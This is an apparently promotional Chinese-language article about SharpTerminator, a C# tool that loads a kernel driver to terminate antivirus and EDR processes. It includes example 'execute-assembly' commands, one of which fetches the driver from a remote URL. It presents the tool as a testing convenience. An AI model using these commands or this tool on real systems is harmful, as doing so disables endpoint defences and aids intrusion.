推荐开源项目:SharpTerminator - 灵活的进程终止工具
2024-05-23 21:46:16作者:郜逊炳
项目介绍
SharpTerminator 是一个由 C# 编写的程序,它是 ZeroMemoryEx 的 Terminator 工具的移植版,致力于帮助开发者或安全研究人员在必要时终止反病毒(AV)和端点保护(EDR)进程。这款轻量级工具提供了一种简单的方式来加载并执行特定驱动,从而实现其功能。
项目技术分析
SharpTerminator 可以通过两种方式运行:从远程URL下载驱动后执行,或者直接从本地磁盘加载。它利用了 C# 的强大能力,能够方便地处理网络请求和系统级别的交互。以下是它的核心操作步骤:
- 远程URL下载:工具会将驱动文件下载到
C:\Windows\Temp目录,并随后从该位置加载。 - 本地磁盘加载:直接指定驱动文件路径,然后进行加载。
在技术层面上,SharpTerminator 使用服务创建的方式注册驱动,并且需要以 kernel 类型启动,这意味着它能在内核级别执行任务,提供了高效的操作能力。
项目及技术应用场景
SharpTerminator 主要用于测试环境,特别是当你需要临时禁用安全软件以进行软件兼容性测试、漏洞研究或者逆向工程时。此外,在开发过程中,如果你的进程被误报为恶意软件而被 AV 软件阻止,此工具也能派上用场。
项目特点
- 跨平台支持:基于 .NET 框架,理论上可在所有支持 C# 的平台上运行。
- 灵活加载:支持从远程服务器和本地硬盘加载驱动,适应不同场景需求。
- 简单易用:命令行接口使得集成到自动化流程中变得非常容易。
- 快速执行:由于运行于内核级别,能迅速终止目标进程。
- 手动恢复选项:如果遇到问题,可以手动创建服务来注册驱动。
值得注意的是,尽管 SharpTerminator 提供了强大的功能,但在使用前务必了解相关风险,遵循合法和合规的原则。
为了确保正确运行,若遇到“未能将进程添加到受信任列表!”的错误,请按照项目文档手动创建服务。
示例用法
- 从远程URL加载驱动:
execute-assembly SharpTerminator.exe --url "http://remoteurl.com:80/Terminator.sys"
- 从本地磁盘加载驱动:
execute-assembly SharpTerminator.exe --disk "C:\path\to\driver\Terminator.sys"
总结而言,SharpTerminator 是一款为专业人员设计的实用工具,它的便捷性和灵活性使其成为对安全软件有临时管理需求的人的理想选择。我们鼓励你探索这个开源项目,看看它如何满足你的工作需求。
登录后查看全文
热门项目推荐
ERNIE-4.5-VL-28B-A3B-ThinkingERNIE-4.5-VL-28B-A3B-Thinking 是 ERNIE-4.5-VL-28B-A3B 架构的重大升级,通过中期大规模视觉-语言推理数据训练,显著提升了模型的表征能力和模态对齐,实现了多模态推理能力的突破性飞跃Python00
Kimi-K2-ThinkingKimi K2 Thinking 是最新、性能最强的开源思维模型。从 Kimi K2 开始,我们将其打造为能够逐步推理并动态调用工具的思维智能体。通过显著提升多步推理深度,并在 200–300 次连续调用中保持稳定的工具使用能力,它在 Humanity's Last Exam (HLE)、BrowseComp 等基准测试中树立了新的技术标杆。同时,K2 Thinking 是原生 INT4 量化模型,具备 256k 上下文窗口,实现了推理延迟和 GPU 内存占用的无损降低。Python00
MiniMax-M2MiniMax-M2是MiniMaxAI开源的高效MoE模型,2300亿总参数中仅激活100亿,却在编码和智能体任务上表现卓越。它支持多文件编辑、终端操作和复杂工具链调用Python00
HunyuanVideo-1.5暂无简介00
MiniCPM-V-4_5MiniCPM-V 4.5 是 MiniCPM-V 系列中最新且功能最强的模型。该模型基于 Qwen3-8B 和 SigLIP2-400M 构建,总参数量为 80 亿。与之前的 MiniCPM-V 和 MiniCPM-o 模型相比,它在性能上有显著提升,并引入了新的实用功能Python00
Spark-Formalizer-X1-7BSpark-Formalizer 是由科大讯飞团队开发的专用大型语言模型,专注于数学自动形式化任务。该模型擅长将自然语言数学问题转化为精确的 Lean4 形式化语句,在形式化语句生成方面达到了业界领先水平。Python00
GOT-OCR-2.0-hf阶跃星辰StepFun推出的GOT-OCR-2.0-hf是一款强大的多语言OCR开源模型,支持从普通文档到复杂场景的文字识别。它能精准处理表格、图表、数学公式、几何图形甚至乐谱等特殊内容,输出结果可通过第三方工具渲染成多种格式。模型支持1024×1024高分辨率输入,具备多页批量处理、动态分块识别和交互式区域选择等创新功能,用户可通过坐标或颜色指定识别区域。基于Apache 2.0协议开源,提供Hugging Face演示和完整代码,适用于学术研究到工业应用的广泛场景,为OCR领域带来突破性解决方案。00
项目优选
收起
deepin linux kernel
C
24
7
Ascend Extension for PyTorch
Python
184
196
本项目是CANN提供的数学类基础计算算子库,实现网络在NPU上加速计算。
C++
648
265
TorchAir 支持用户基于PyTorch框架和torch_npu插件在昇腾NPU上使用图模式进行推理。
Python
275
97
暂无简介
Dart
623
140
本仓将收集和展示高质量的仓颉示例代码,欢迎大家投稿,让全世界看到您的妙趣设计,也让更多人通过您的编码理解和喜爱仓颉语言。
Cangjie
380
3.43 K
React Native鸿蒙化仓库
JavaScript
242
315
🎉 (RuoYi)官方仓库 基于SpringBoot,Spring Security,JWT,Vue3 & Vite、Element Plus 的前后端分离权限管理系统
Vue
1.1 K
621
仓颉编译器源码及 cjdb 调试工具。
C++
126
856
Nop Platform 2.0是基于可逆计算理论实现的采用面向语言编程范式的新一代低代码开发平台,包含基于全新原理从零开始研发的GraphQL引擎、ORM引擎、工作流引擎、报表引擎、规则引擎、批处理引引擎等完整设计。nop-entropy是它的后端部分,采用java语言实现,可选择集成Spring框架或者Quarkus框架。中小企业可以免费商用
Java
9
1